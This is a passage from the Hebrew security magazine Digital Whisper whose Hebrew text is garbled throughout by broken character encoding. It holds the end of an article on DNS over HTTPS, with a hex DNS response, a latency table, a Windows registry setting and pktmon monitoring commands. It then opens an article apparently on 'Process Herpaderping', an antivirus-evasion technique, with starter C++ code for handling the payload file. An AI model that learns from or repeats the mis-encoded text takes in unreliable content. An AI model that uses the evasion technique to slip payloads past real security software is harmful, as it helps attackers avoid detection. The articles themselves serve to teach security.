  ˸˷˵˟ ˪˩DoH    ˸˷˵˟˪ ˸ˡˬ˴ˣˬHTTP  ˟ ˧˸ˣ˰ˬ˷ˬ ˷ˣˬ˧˷ ˰˴˟˪ ˭˸˧ˮ ,ˢ˲ ˫ˠˣ ,˸ˡ˶˲ˮ-multiplexing    ˪˷

HTTP/2  .ˢ˟ˣ˷˸ˢ ˪˷ ˶˸ˣ˧ ˸ˣˢˣ˟ˠ ˸ˣ˧ˣ˶˧ˢˬ˪ ˰˧ˠˢ˪ ˸ˮˬ ˪˰ 

 

˸˟ˣ˷˸ DoH 

   ,˸˶˷ˢ ˸˟ˣ˷˸ˬ ˵˪˥˩DoH   ˟  ˷ˬ˸˷ˬ-header    ˫˷˟cache-control    ˪˷HTTP    ˰˧ˡˣˢ˪ ˸ˮˬ ˪˰

 .˸ˣ˧ˮ˷˟ ˣˮ˧ˢ ˨˶˰ˢ ,ˣ˪˷ ˭ˣˬ˦ˬ˟ ˢ˷ˡ˥ˢ ˢˬˣ˷˶ˢ ˸˞ ˶ˣˬ˷˧˷ ˥ˣ˵˪/˸˶˷˪    ˸˟ˣ˷˸DoH    ˠˣ˯ˬ ˢ˷˵˟˪

AAAA  ˸˟ˣ˸˩ ˸˷˵˟)IPv6 ˧ˣ˯ˬ ˭˧˧ˬˣˡ ˪˷ :(˫˧ 

:status  = 200  

   content - type  = application/dns - message  

   content - length  = 61 

   cache - control  = max- age=3709  

 

   <61 bytes represented by the following hex encoding > 

   00 00 81 80 00 01 00 01  00 00 00 00 03 77 77 77  

   07 65 78 61 6d 70 6c 65  03 63 6f 6d 00 00 1c 00  

   01 c0 0c 00 1c 00 01 00  00 0e 7d 00 10 20 01 0d  

   b8 ab cd 00 12 00 01 00  02 00 03 00 04  

  ˸ˣˬˣ˷˶ ˶˲˯ˬ ˢ˪˧˩ˬ ˢ˷˵˟ˢ ˫ˢ˟ ˫˧˶˵ˬ˟IP   ˞ ˩ ,˭˧˧ˬˣˡˢ ˣ˸ˣ˞ ˪˷  ˸˪˰˟ ˢˬˣ˷˶ ˪˩ ˶˷TTL    ,ˢˮˣ˷

˟ ˫˧˷˪ ˳˪ˬˣˬ-cache-control    ˷ˬ˸˷ˬ˪ ˷˧ˠ˧ ˸˶˷ˢ ˣ˟ ˟˴ˬ ˰ˣˮˬ˪ ˸ˮˬ ˪˰ ,˶˸ˣ˧˟ ˨ˣˬˮˢ ˨˶˰ˢ ˸˞

.ˢˮˣ˩ˮ ˞˪ ˸˟ˣ˸˩ 

  

http://www.digitalwhisper.co.il/


 
 

5b{ hǾŜǊ I¢¢tό{ύ -   
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  су 
 

?˧ˡˬ ˧˦˧˞ ˞˪ ˢˤ ˪˟˞ ,˰ˠ˶ 

DNS    ˪˷ ˷ˣˬ˧ˬˢ ˭˩˪ˣ ,˶˧ˢˬ ˪ˣ˵ˣ˦ˣ˶˲ ˸ˣ˧ˢ˪ ˟˧˧˥DoH    ˫˧˶˟ˡ ˶˲˯ˬ ˷˧ ˨˞ ,˞ˣˢ ˫ˠ ˶˧ˢˬ ˸ˣ˧ˢ˪ ˟˧˧˥

 .˫ˢˬ ˫˪˰˸ˢ˪ ˭˸˧ˮ ˞˪˷   s  ˪ˣ˵ˣ˦ˣ˶˲-DNS   ˟  ˷ˬ˸˷ˬ-UDP  ˸ˣ˶˧ˢˬ ˸ˣ˦˵˲ ˪˧˟˷˟ ˶˴ˣˮ ˣˬ˴˰ ˶˷˞ ,

 .˸˥˞ ˡˣ˰ ˥˪˷ˮ ˦ˣ˷˲ ,˸˷˟ˣ˷ˬ ˢ˦˵˲ˢ ˫˞˷ ˭ˣˣ˧˩ˬ ,˸ˣˮ˧ˬ˞ ˸ˣ˥˲ ˸ˣ˷˶ˣˡˢ 

-˟DoH  ˟ ˫˧˷ˬ˸˷ˬ ˣˮ˞-TCP  ,˶ˣ˟˧˥ˢ ˸˶˧˴˧ ˭˲ˣ˞ ˸˞ ˦˞ˬˢ ˶˟ˡ ,.˸ˣ˶˧ˢˬˢ ˪˰ ˰˧˲˷ˬˣ    ˫ˠ ˷˧˷ ˭˟ˣˬ˩

.˫˧˰ˣ˴˧˟˪  ˢ˶ˣ˵˸  ˱˧˯ˣˬ  ˶˷˞  ,˰ˡ˧ˬˢ  ˪˷  ˢˮ˲˴ˢˢ  ˞˷ˣˮ  ˸˞    ˶˸˞˟  ˣˬ˯˶ˣ˲˷  ˫˧˰ˣ˴˧˟  ˧ˮ˥˟ˬ˟

SamKnows˪ ˭˩˞ ˫˧˶˵ˬˢ ˪˷ ˦˪˥ˣˬˢ ˟ˣ˶˟ ˫ˮˬ˞ ˧˩ ˸ˣ˞˶˪ ˭˸˧ˮ ,-DoH    ˨˞ ,˫˧˰ˣ˴˧˟ˢ ˪˰ ˢ˰˲˷ˢ ˷˧

 .˸˧˸˧˟ˢ ˸˷˶˟ ˪ˣ˵ˣ˦ˣ˶˲˟ ˷ˬ˸˷ˢ˪ ˞˪ ˧ˡ˩ˬ ,ˢ˥˧ˮˤˣ ˸˧˶˰ˤˬ ˢ˰˲˷ˢˢ 

 ˫˧˰ˣ˴˧˟ˢ ˧ˮ˥˟ˬ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ :ˢ˞˟ˢ ˢ˪˟˦˟ 

Country ISP ISP Do53 
Cloudflare 

Do53 

Cloudflare 

DoH 
Google Do53 Google DoH 

Germany 
Deutsche 

Telekom 
15.66 34.57 38.03 33.97 33.01 

Germany 
Kabel 

Deutschland 
20.67 20.41 23.03 35.58 37.55 

Germany Telefonica 17.82 19.73 21.61 49.43 49.1 

Greece CYTA 59.07 47.78 25.82 79 76.14 

Greece Cosmote 18.41 19.97 22.57 75.03 73.02 

Greece Forthnet 26.45 65.48 75.22 81.97 88.49 

Italy Fastweb 21.28 14.54 16.77 46.1 48.73 

Italy Telecom Italia 40.53 39.19 37.55 60.06 61.46 

Italy Vodafone 57.87 22.1 26.62 57.04 62.85 

Portugal MEO 33.65 20.83 21.92 62.73 66.04 

Portugal Vodafone 26.12 18.29 8.52 48.1 50.31 

Spain Orange 15.24 15.2 19.84 48.79 48.97 

Spain Telefonica 20.2 12.83 15.93 45.15 45.08 

Spain Vodafone 12.27 5.11 9.82 47.65 51.73 

UK BT 29.63 21.61 28.42 41.91 43.44 

UK Plusnet 26.24 19.88 24.65 37.86 40.59 

UK Sky 13.83 13.95 27.23 13.82 41.43 

UK TalkTalk 9.86 16.32 21.88 35.38 36.97 

UK Virgin 14.57 17.6 21.4 39.2 38.73 

UK Vodafone 32.44 22.62 17.97 37.77 33.53 

 :˶ˣ˵ˬ]performance-https-over-https://samknows.com/blog/dns[ 

 

http://www.digitalwhisper.co.il/
https://samknows.com/blog/dns-over-https-performance


 
 

5b{ hǾŜǊ I¢¢tό{ύ -   
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  сф 
 

 ˧ ˪˷ ˭ˣˠ˶˞˟ ˢˤ ˸˞ ˰˧ˬ˦ˢ˪ ˳˶ ˧ˮ˞ !˫˧ˢˡˬ 

 .˦ˣ˷˲ ˢˤ˩ ˢ˧ˢ ˢˤ˷ ˧˞ˣˣ˪ˢ ,˰ˠ˶   DoH  ˪˰ ˢˮˠˢ ˣˮ˪ ˵˲˯ˬ  ,˸˶ˣ˷˵˸ˢ ˸ˣ˧˵˲˯ ˧ˮ˲ˬ ˣˮ˪˷ ˸ˣ˧˦˶˲ˢ

ˢ ˸˶˷˪ ˵˶ ˶˷˲˞ˬˣ-DoH    ˫˧ˮˣˠ˶˞ˢ ˪˧˟˷˟ ˟ˣ˦ ˡ˧ˬ˸ ˞˪ ˶˟ˡˢ ˪˟˞ ,˫˧ˮˣ˲ ˣˮ˥ˮ˞ ˧ˬ˪ ˸ˣ˞˶˪ ˣˮ˪˷

 .˫˧˧˦˶˲ˢ  ˷ ˢ˦ˣ˷˲ˢ ˢˡ˟ˣ˰ˢ ˪˰ ˸ˣ˩ˬ˸˯ˬ ˫ˣ˧ˢ ˸ˣ˟˶ ˭˩ˣ˸ ˭ˣˮ˧˯ ˸ˣ˩˶˰ˬ-DNS    ˸ˣ˪ˣ˩˧ ˭ˢ ,˭˲˴ˣˬ ˣˮ˧˞

˸ˢ˟ˣ ,ˢˤ ˸˞ ˶ˣˬ˷˪ ,˫˧˷ˠ˧ˮ ˣˮ˥ˮ˞ ˭˞˪ ˵ˣ˧ˡ˟ ˸ˣ˞˶˪ .˨˩ ˪˰ ˥ˣˣˡ˪ ˣ˞ ˫ˣ˯˥˪ ,˸ˣˬ˧˧ˣ˯ˬ ˸ˣ˯˧˪ˣ˲˪ ˫˞ 

 ˟  ˷ˣˬ˧˷ ˧ˡ˩ ˨ˣ˸ ˭˩ˣ˸ ˭ˣˮ˧˯ ˰˴˟˪ ˣ˪˩ˣ˧ ˸ˣ˧˦˶˲ ˸ˣ˩˶˰ˬ˷ ˸ˮˬ ˪˰-DoH  ˰˴˟˪ ˨˶ˣ˴ ˷˧ ,SSL/TLS 

stripping    ˸˞ ˨ˣ˲ˢ˪ ˪ˣ˩˧ˣ ,˸˧˸ˣ˰ˬ˷ˬ ˢ˶ˣ˴˟ ˫˧˷ˬ˸˷ˬˢ ˸ˣ˶˧ˢˬ ˪˰ ˰˧˲˷ˢ˪ ˧ˣ˷˰ˢ ˶˟ˡ ,ˢ˦˵˲˪

 .˪˪˩˟ ˧˞ˡ˩ ˞˪˪ ˣ˟ ˷ˣˬ˧˷ˢ    ˸ˣ˩˶˰ˬ ˫ˠ ˞˪˞ ,˭˩ˣ˸ ˭ˣˮ˧˯˪ ˸ˣ˩˶˰ˬ ˵˶ ˞˪ ˣ˪˞SOC    ,˸ˣ˰ˠ˲ˮ˷ ˷˞ ˸ˣˬˣ˥ˣ

 .˭ˣˠ˶˞ˢ ˸ˣ˥˧˦˟ ˫ˠ ˨˩ˬ ˢ˞˴ˣ˸˩ˣ  ˢ ˪˷ ˫˩ˬ˯ˬ˟-NSA.ˢ˧ˠˣ˯ˢ ˪˰ ˶˟ˣˡˬ ,   ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ˞˪ˣ ˢˡ˧ˬ˟

  ˸˶˷˟DoH   s  ˪˷ ˫˸˴˪ˬˢ ,˫˞˸ˢ˟ ˪ˣ˰˲˪ˣ ˭˲˴ˣˬ ˰ˡ˧ˬ ˫˰ ˡˡˣˬ˸ˢ˪ ˪ˠˣ˯ˬ ˶˷˞ ,˧ˮˣˠ˶˞-NSA    ˞˧ˢ

˟ ˷ˬ˸˷ˢ˪ ˞˪˷-DoH  ˪ ˩˟ .˭ˣˠ˶˞ˢ ˸ˣ˥˧˦˟ ˸˞ ˭˩˯˪ ˞˪˷ ˸ˮˬ ˪˰ ,˪ 

ˢ ,˨˩˪ ˱˯ˣˮ˟-NSA   ˸˶˷ ˪˩ ˫ˣ˯˥˪ ˫˧˴˧˪ˬˬDoH  .˭ˣˠ˶˞˟ ˷ˣˬ˧˷˪ ˶˷ˣ˞ˬ ˣˮ˧˞˷ ,˧ˮˣ˴˧˥ 

 
  ...˧˶˥˞ ˟ˣ˵˰˪ ˧˪˷ ˸˶ˣ˷˵˸ˢ ˸˧˵˲˯ˬ ˰ˮˣˬ ˢˤ ˪˟˞ ,˶ˡ˯˟ 

.˷ˬˬ ˞˪˷ ,ˣˢˤ ˤ˞ ˢ ˸˶ˣ˟˰˸ ˸˞ ˸ˣ˞˶˪ ˶˸ˣ˧ ˣ˪˩ˣ˧ ˞˪ ˸˶ˣ˷˵˸ˢ ˸ˣ˧˵˲˯-DNS    ˪˟˞ ,˫˧˶˧˟˰ˬ ˣˮ˥ˮ˞˷

ˤ.˫˧ˮˣ˲ ˣˮ˥ˮ˞ ˫˧˶˸˞ ˢˤ˧˞˪ ˸˰ˡ˪ ˫ˡ˰˟ ˶˴ˣ˰ ˞˪ ˢ  ˢ ˸ˬˣ˷˶ ˸˞ ˫ˮˬ˞-DoH    ,˸ˣ˞˶˪ ˣ˪˩ˣ˧ ˞˪ ˸ˣ˧˵˲˯ˢ

  ˰˴˟˪ ˣ˪˩ˣ˧ ˭ˢ ˪˟˞Reverse DNS Lookup .˫˧ˮˣ˲ ˣˮ˥ˮ˞ ˭˧˧ˬˣˡ ˢˤ˧˞˪ ˭˧˟ˢ˪ ˸ˮˬ ˪˰    ,ˢˤ ˸˞ ˫ˠ ˰ˣˮˬ˪ ˧ˡ˩

 .ˣˮ˪˧˟˷˟ ˣˮ˪˷ ˰ˡ˧ˬˢ ˸˞ ˶˧˟˰˧˷ ˧˯˵ˣ˶˲ ˸˶˷˟ ˷ˣˬ˧˷ ˸ˣ˷˰˪ ˨˶ˣ˴ ˷˧ 

˟ ˷ˬ˸˷ˬ ˧ˮ˞ ˨˧˞ ,˭ˣˠ˶˞ ˞˪ ˧ˮ˞ ˪˟˞ ,˧˵ˣ˞-DoH ? 

  ˶˞ˣ˶˟˲˟ ,˫ˣ˧ˢ˪ ˭ˣ˩ˮнлнл  ˶˧ˡˠˢ˪ ˭˸˧ˮ ,DNS Over HTTP  ˢ ˸ˬ˶˟-Windows    ˵˪˥ ˫˸˞ ˫˞ ˵˶ˣ ˨˞

ˢ ˦˵˧ˣ˶˲ˬ-Windows insiders  ˧ˮ˲˪ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˸ˣ˷ˡ˥ˢ ˸ˣ˪ˣ˩˧ˢ ˸˞ ˪˟˵˪ ˫˩˪ ˶˷˲˞ˬˢ ,

.˞˦˟ ˭˧˰ˬ ,˫˪ˣ˩    ˢˤ ˸˞ ˸ˣ˷˰˪ ˭˸˧ˮ ˡ˴˧˩ ˢ˞˶˞  ˫˩˸˞ ˷ˬ˷˪ ˫ˠ ˪˩ˣ˧ˣ ,ˢ˩˩ ˶˞˷˧ ˢˤˣ ˢˣˣ˵˸˟ ,˫ˣ˧˩

ˡ˧˸˰˟  -  ˪  ˶ˣ˟˰˪ ˸ˮˬ ˪˰ ˷˶ˡˮ˷ ˢˬ ˪˩-DoH ˟-Windows ˟  ˭˦˵ ˧ˣˮ˧˷ ˦ˣ˷˲ ˢˤ ,-registry . 

˪ ˯ˮ˩ˮ-regedit   :ˢ˞˟ˢ ˢ˧˩˶˶˧ˢ˪ ˦ˣˣˮˮ ˫˷ˬˣ 

HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet \ Services \ Dnscache \ Parameters  

 ˨˶˰ ˱˧˯ˣˮ ˭˩ˬ ˶˥˞˪DWORD " ˫˷˟EnableAutoDoh ˣ˩˶˰ ˸˞ ˶˧ˡˠˮˣ "н . 

 ˭ˣˠ˩ ˧˪˩˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ,˱ˣ˯˟˪pktmon  ˟  ˸˷ˬ˸˷ˬ ˞˪ ˣˮ˪˷ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˷ ˞ˡˣˣ˪ ˧ˡ˩-DNS  .˪˧ˠ˶ 

pktmon  filter remove  

pktmon  filter add - p 53  

pktmon  start -- etw - l real - time  

˶ˣˬ˞ ˣˮˮ˧˞ ,˧ˣ˞˶˩ ˡ˟ˣ˰ ˪˩ˢ ˫˞ .˸ˣ˞˴ˣ˧ ˸ˣ˦˵˲ ˸ˣ˞˶˪ ˫˧ 

http://www.digitalwhisper.co.il/


 
 

5b{ hǾŜǊ I¢¢tό{ύ -   
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  тл 
 

 ˫ ˣ˩˧˯ 

  ˢˤ ˶ˬ˞ˬ˟  ˢˬ ˣˮ˟ˢ˪ˣ˵ˣ˦ˣ˶˲ˢ ˞ˣˢ  DNS ˟ ˣ˷˥ ˞ˣˢ ˢˬ˩ˣ ˣ˧˸ˣˮ˩˯ ˫ˢ ˢˬ ,.    ˷ˡ˥ˢ ˱˧˪˥˸ˢ ˸˞ ˣˮ˧˞˶

  ˣ˪˷ ˳˴ˣˮˢˣ-  DNS Over HTTP ?˶˷˧ ˣ˧˪˞ ˶ˣ˟˰˪ ˧˞ˡ˩ ˸ˬ˞˟ ˫˞ˢ ˨˞ , 

  ,˶ˣ˟˰˪ ˞˪˷ ˢ˟˧˯ ˫ˣ˷ ˢ˞ˣ˶ ˞˪ ˧ˮ˞ ,ˢˤ ˸˞ ˣˬ˴˰˪ ˸ˣ˷˶ˢ˪ ˪ˣ˩˧˷ ˦ˣ˷˲ˢ ˷ˬ˸˷ˬ˪  ˠˣ˶ˡ˷˟ ˶˟ˣˡˬ

.ˣ˪˷ ˸ˣ˥ˣˮ˟ ˧ˡˬ ˶˸ˣ˧ ˰ˣˠ˲˪ ˧˪˟ˬ ˷ˬ˸˷ˬˢ ˪˷ ˢ˥˦˟˞˪   ,ˣ˧˪ˣ˸˧˥˟ ˷ˡ˥ˢ ˪ˣ˵ˣ˦ˣ˶˲ˢ˷ ˡˣ˰˟ ,˫ˣ˧˩ ˨˞

˪ ˧˪˷ ˭ˣˠ˶˞ˢ ˸˞ ˶˧˟˰ˢ˪ ˳˶ ˧˸˧˧ˢ ˞˪˷ ˢ˞˶ˮ˩-DoH .˪˧˰ˣˢ˪ ˶˷˞ˬ ˶˸ˣ˧ ˵˧ˤˢ˪ ˪ˣ˩˧ ˶˷˞ ˶˟ˡ , 

 

ǿƘƻŀƳƛ 

  ˭˟ ,˧˶ˣ˵˷ ˧˦ˣˬнм  ˥˸˲ˬ ,backend  ˧ˮˬˤ˟ ˰ˡ˧ˬ ˸˥˦˟˞ ˶˵ˣ˥ ,.˟˷˥ˬˢ ˧˰ˡˬ˪ ˦ˮˡˣ˦˯ˣ ,˧ˣˮ˲ˢ   ˟ˢˣ˞

  ˶ˣ˸˲˪CTF-.˭˟ˣˬ˩ ˧˪ˬ˶ˣˮ ˫ˡ˞ ˪˩ ˣˬ˩ ,˸ˣ˩˶˰ˬ ˶ˣ˵˥˪ˣ ˫˧   ˭˸˧ˮ ,˶˟ˡ˪ ˫˸˯ˣ ˸ˣ˶˞ˢ ,˸ˣ˶˰ˢ ,˸ˣ˪˞˷˪

 :˪˧˧ˬ˟ ˧˪˞ ˸ˣˮ˲˪ 

motishaku@gmail.com 

 

˸ˣ˶ˣ˵ˬ  ˫ ˧˶ˣ˷˧˵ˣ ˢ˞˧˶˵˪  ˸ ˲˯ˣˮ 

¶ Adopting Encrypted DNS in Enterprise Environments - NSA: 

https://media.defense.gov/2021/Jan/14/2002564889/-1/-1/0/  
 

¶ RFC 4033 (DNS): 

https:// tools.ietf.org/html/ rfc4033 
 

¶ RFC 8484 (DNS Over HTTP): 

https:// tools.ietf.org/html/ rfc8484#section-5.1 
 

¶  ˪˰ ˶ˬ˞ˬDNS ˢ ˭ˣ˧˪ˠˢ ˨ˣ˸ˬ-му   ˪˷Digital Whisper : 

https:// www.digitalwhisper.co.il/ files/Zines/0x12/DW18-4-DNS.pdf 
 

¶   ˸˞ ˶˧ˡˠˢ˪ ˨˧˞Windows   ˫˰ ˡˣ˟˰˪DNS Over HTTP  ˨ˣ˸ˬBleepingComputer Υ 

https:// www.bleepingcomputer.com/news/microsoft/windows-10-gets-dns-over-https-

support-how-to-test/  
 

¶  ˶˸˞ˢ ˨ˣ˸ˬ ˫˧˰ˣ˴˧˟ˢ ˧ˮ˥˟ˬSamKnows : 

https:// samknows.com/blog/dns-over-https-performance 

  

http://www.digitalwhisper.co.il/
https://media.defense.gov/2021/Jan/14/2002564889/-1/-1/0/CSI_ADOPTING_ENCRYPTED_DNS_U_OO_102904_21.PDF
https://tools.ietf.org/html/rfc4033
https://tools.ietf.org/html/rfc8484#section-5.1
https://www.digitalwhisper.co.il/files/Zines/0x12/DW18-4-DNS.pdf
https://www.bleepingcomputer.com/news/microsoft/windows-10-gets-dns-over-https-support-how-to-test/
https://www.bleepingcomputer.com/news/microsoft/windows-10-gets-dns-over-https-support-how-to-test/
https://samknows.com/blog/dns-over-https-performance
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  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  тм 
 

tǊƻŎŜǎǎ IŜǊǇŀŘŜǊǇƛƴƎ 

˸˞ˬ  ˭ ˧˵˟˧˞ ˪˞˧ˮˡ 

 

 s ˬˡ˵ˢ 

  ˢ˷ˡ˥ ˫˧˩˧˪ˢ˸ ˸˞ˣˣ˯ˢ ˸˵˧ˮ˩˦ ˢ˲˯ˣˮ ,ˢˮˣ˶˥˞˪ x ˬ˩ ,˸ˣ˰ˣˡ˧ˢˣ ˸ˣˬ˧˧˵ˢ ˸ˣ˦˧˷ˢ ˸ˬ˧˷˶˪tǊƻŎŜǎǎ 

IƻƭƭƻǿƛƴƎ  -xtǊƻŎŜǎǎ 5ƻǇǇŜƭƎŅƴƎƛƴƎ  ˫˧˞˶ˣ˵ ˢ˷ˡ˥ˢ ˢ˵˧ˮ˩˦˪ .tǊƻŎŜǎǎ IŜǊǇŀŘŜǊǇƛƴƎ. 

  ˠ˷ˣˬ ˫ˢ˪ ˶˷˞ ˸ˣ˵ˤˣˮ "˧˷ˬ˸˷ˬ" ˣ˪˧˲˞ˣ ˸ˣ˵ˤˣˮ ˧˥˸˲ˬ ˟˶˵˟ ˦ˢˣ˪ˣ ˟ˣ˷˥ ˫ˣ˥˸ ˞ˣˢ ˫˧˩˧˪ˢ˸ ˸˞ˣˣ˯ˢ

  ˭˸˧ˮ˷ ˫˧˪˩˟ ˫˧˷ˬ˸˷ˬˣ ˫˧˟˷˥ˬ˟ ˶˸ˣ˧ ˡˣˡ˶) ˫˸ˮ˟ˢ ˞˪˪ ˪ˠˣˠ˟ ˤ˧˶ˤ ˷ˣ˲˧˥˟ ˞ˣ˴ˬ˪ǎƪƛŘ-  ˭ˣˣ˧˩ˬ .(˫˧

  ˶˸ˣ˧˷ ˢˬ˩ ˣ˧ˢ˧ ˣ˪˷ ˸ˣ˵ˤˣˮˢ˷ ˢ˴˶˧ ˱˵ˣ˸ ˪˩˷C¦5  )Cǳƭƭȅ ¦ƴŘŜǘŜŎǘŜŘ˧˦ˮ˞ˢ ˧ˮ˲ˬ (-  ˫˧ˬ˧˧˵ˢ ˫˧˯ˣ˶˧ˣ

˟ ˷ˬ˸˷ˬ ˞ˣˢ ˫˞ ˭˧˟ .ˢ˴˧˶ˢ ˭ˬˤ˟ˣ ,ˢ˵˧˶˯ˢ ˭ˬˤ˟ ,˸ˣˮ˟˶ˣ˵ˢ ˧˟˷˥ˬ ˪˰-tŀȅƭƻŀŘ    ˣˬ˩ ˰ˡˣ˧aƛƳƛƪŀǘȊ  ,

˟ ˷ˬ˸˷ˬ ˞ˣˢ ˫˞ ˭˧˟ ˣ˞ .ˢ˞˪ˬ ˢ˞ˣˣ˯ˢ ˪˰˟ ˸ˣ˧ˢ˪ ˢ˶˦ˬ ˣ˪ ˢ˧ˢ˧˸ ˡ˧ˬ˸ ,ˢ˷ˡ˥ ˢ˵ˤˣˮ 

  ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˢ˟ ˨˶ˡˢ ˸˞ ˸˪˴ˮˬ ˣˤ ˢ˦˧˷²ƛƴŘƻǿǎ  ˧˦ˮ˞ˢ ˸ˣˮ˩ˣ˸˪ ˢ˞˶˸ˢ ˸˥˪ˣ˷-  ˰ˠ˶˟ ˯ˣ˶˧ˣ

  ˸˶˧˴˧ ˧˶˥˞ ˡ˧ˬ ˧ˬ˧˦˧ˠ˪ ˭˩ˣ˸˟ ˢ˵ˤˣˮˢ ˪˷ ˳˟ˣ˵ˢ ˭˩ˣ˸ ˸˞ ˢˮ˷ˬ ˞˧ˢ˷ ˨˩˟ ,˰˵˶˟ ˶˴ˣˮ ˷ˡ˥ ˨˧˪ˢ˸˷

˸˞ ˫˧˪˟˵ˬ ˫ˢ˷ ˧ˮ˲˪ ˡˣ˰ ,˨˧˪ˢ˸ˢ  ˧˦ˮ˞˪ ˫˶ˣˠ ˢˤ ˶˟ˡ .ˢ˪˰˲ˢˢ ˸˩˶˰ˬˬ ˢ˞˶˸ˢˢ-  ˵ˣ˶˯˪ ˫˧˯ˣ˶˧ˣ

 .ˢ˸˴˶ˢ ˸˞ ˶˷˞˪ˣ ,ˢˬ˴˰ ˢ˵ˤˣˮˢ ˪˷ ˭˩ˣ˸ˢ ˸˞ ˞˪ˣ ˧ˣˠ˷ ˭˩ˣ˸ 

 ˧ ˦ˮ˞ ˢ˟ ˨˶ˡˢ ˪˰ ˡ˵ˬ˸˞ ˢˤ ˶ˬ˞ˬ˟-  ˨˧˞ ˪˰ ,ˢ˴˶ˢ ˧˴˟˵ ˫˧˵˶ˣ˯ˣ ˫˧˪˰ˣ˲ ˫˧˯ˣ˶˧ˣ{ȅǎŎŀƭƭ-  ˫˧˰˴˟˸ˬ ˫˧

-˟²ƛƴŘƻǿǎ  ˦ˬ˶ˣ˲ˢ ˪˰ˣ ,t9 ˪˰ ˟˸˩ˮ ˶ˬ˞ˬˢ .²ƛƴŘƻǿǎ ˵˦˧˩˶˞˟  ˸˶ˣ˦Ȅсп . 
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 s ˪˥˸ˢ 

 ˟  ˢ˦ˣ˷˲ ˸˧ˮ˩ˣ˸ ˶ˣ˴˧ˮ ,ˢ˦˧˷ˢ ˸ˬˠˡˢ ˪˧˟˷˟-/    ˞˧ˢ˷ ˢˬ ˪˩ˣ ,˶˧˸˯ˮ ˢ˸ˣ˞˷ ˢ˵ˤˣˮˢ ˸˞ ˢˣˣˢ˸ ˶˷˞

 ˨˯ˬ˪ ˯˧˲ˡˢ˪ ˢˤ ˢ˷ˣ˰άL ŀƳ ǘƘŜ ǇŀȅƭƻŀŘΗέ : 

int  main()  

{  

    MessageBox( NULL,  " I  am the  payload! " ,  " Payload " ,  MB_OK |  

MB_ICONINFORMATION);  

    return  0;  

}  

ˢ˶˰ˢ :    ˫˧˷ˣ˰ ˶˷˞ ˡˣ˵ ˧˰˦˵ ˣ˧ˢ˧ ˞˪ ˶ˬ˞ˬ˟ŜǊǊƻǊ ŎƘŜŎƪƛƴƎ    ˵ˣˡ˟˪ ˫˩˸ˣ˧˶˥˞ ˧ˢˣˤ .˫˧˟˞˷ˬ ˧ˣ˵˧ˮˣ

 !ˣ˧˶˥˞ ˢ˵ˮˬˣ ,˸˧˶˷˲˞ ˢ˞˧ˠ˷ ˪˩ ˵ˡˣ˟ ˟ˣ˦ ˡˣ˵ ˪˩ .ˡˣ˵ˢ ˶˥˞ ˣ˟˵˰˸ˣ ˢˡ˧ˬ˟ ,˫˞˸ˢ˟ ˟˧ˠˢ˪ˣ ˸ˣ˞˧ˠ˷ 

 

 s ˵ˤˣˮˢ ˳˟ˣ˵ ˸˞˧˶˵ 

  ˪˰ ˸ˣ˧ˢ˪ ˸˟˧˧˥ ˞˪ ˢ˵ˤˣˮˢ˷ ˭˟ˣˬ˩ .˷ˡ˥ ˳˟ˣ˵˪ ˣ˸ˣ˞ ˟ˣ˸˩˪ ˪˧˟˷˟ ˢ˵ˤˣˮˢ ˭˩ˣ˸ ˸˞ ˞ˣ˶˵˪ ˢ˴˶ˮ

  ˵˯˧ˡˢ s ˪˧˥˸˩˪ˬˢ ,˞ˬˠˣˡ˪ ,  ˫˰ ˸ˮ˲˴ˣˬˣ ˢ˶ˣˬ˷ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˞˧·hw    ˣ˞w/п   s  ˪˷ ˳˟ˣ˵˟-ǳƴǇŀŎƪŜǊ  ,

 .˵˯˧ˡˢ ˪˰ ˸ˬ˧˧˵ ˶˟˩ ˞˧ˢ˷ ˥˧ˮˮ ˶ˬ˞ˬ˟ ˨˞ 

 ˪˟˵ˮˣ ˳˟ˣ˵ˢ ˸˞ ˥˸˲ˮ ,ˢ˪˧˩˸ƘŀƴŘƭŜ : 

HANDLE payload_file_handle  = :: CreateFileA ( " payload.exe " ,  

GENERIC_READ,  FILE_SHARE_READ |  FILE_SHARE_WRITE |  

FILE_SHARE_DELETE,  nullptr ,  OPEN_EXISTING,  

FILE_ATTRIBUTE_NORMAL,  nullptr );  

ˢ ˸˶ˤ˰˟-ƘŀƴŘƭŜ   ˢ˧˴˵ˮˣ˲ˢ ˸˶ˤ˰˟ ˸˞ˤ ˢ˷˰ˮ .ˢ˵ˤˣˮˢ ˪ˡˣˠ ˣˢˬ ˵ˣˡ˟˪ ˢ˴˶ˮ ,ˣˮ˪˟˧˵˷DŜǘCƛƭŜ{ƛȊŜ:  

DWORD payload_size  = :: GetFileSize (payload_file_handle,  nullptr );  

 ˸˞ ˢ˶˧ˤ˥ˬ ˢ˧˴˵ˮˣ˲ˢон  s  ˨ˣ˸ ˪˞ ˳˟ˣ˵ˢ ˪ˡˣˠ ˪˷ ˫˧ˢˣ˟ˠˢ ˫˧˦˧˟ˢ-ƻǳǘ ǇŀǊŀƳ    ,(˧ˮ˷ˢ ˶˦ˬ˶˲ˢ) ˢ˪˷

 ˸˞ˣон   ˬ  ˶˸ˣ˧ ˞˪ ,˶ˬˣ˪˩ ,ˢ˪ˣˡˠ ˨˩ ˧ˡ˩ ˡ˰ ˞˪ ˢ˵ˤˣˮˢ˷ ˥˧ˮˮ .ˢ˶ˤ˥ˢˢ ˨˶˰˩ ˫˧˩ˣˬˮˢ ˫˧˦˧˟ˢ-п  Ωɣ  ,ˢˠ˧

 ˸˞ ˨˶˦˴ˮ ˞˪ ,˭˩˪ˣон  .˫˧ˢˣ˟ˠˢ ˫˧˦˧˟ˢ 

